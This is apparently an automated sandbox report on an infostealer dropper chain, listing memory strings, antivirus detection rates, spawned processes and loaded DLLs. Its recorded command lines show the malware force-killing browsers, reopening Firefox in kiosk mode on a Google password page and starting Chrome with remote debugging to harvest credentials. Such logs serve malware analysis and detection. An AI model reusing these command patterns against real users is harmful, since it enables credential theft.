Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 22a4a09ee3.exe, 00000009.00000003.2615598178.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2640651922.00000000058DA000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000003.2852444223.000000001D155000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2768149010.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: file.exe Virustotal: Detection: 50%
Source: file.exe ReversingLabs: Detection: 60%
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 8c3bfc0f85.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe "C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2232 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b905026f-7fb0-48f4-bda0-0aaae8364398} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5c9b6e510 socket
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4272 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4108 -parentBuildID 20230927232528 -prefsHandle 2844 -prefMapHandle 4104 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3515d1b8-cb3f-4c13-9976-c2ba99fe0412} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5dbdabf10 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,3370209604487546096,5591142597664395409,262144 /prefetch:8
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe "C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4272 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2232 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b905026f-7fb0-48f4-bda0-0aaae8364398} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5c9b6e510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4108 -parentBuildID 20230927232528 -prefsHandle 2844 -prefMapHandle 4104 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3515d1b8-cb3f-4c13-9976-c2ba99fe0412} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5dbdabf10 rdd
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,3370209604487546096,5591142597664395409,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Section loaded: nlaapi.dll Jump to behavior
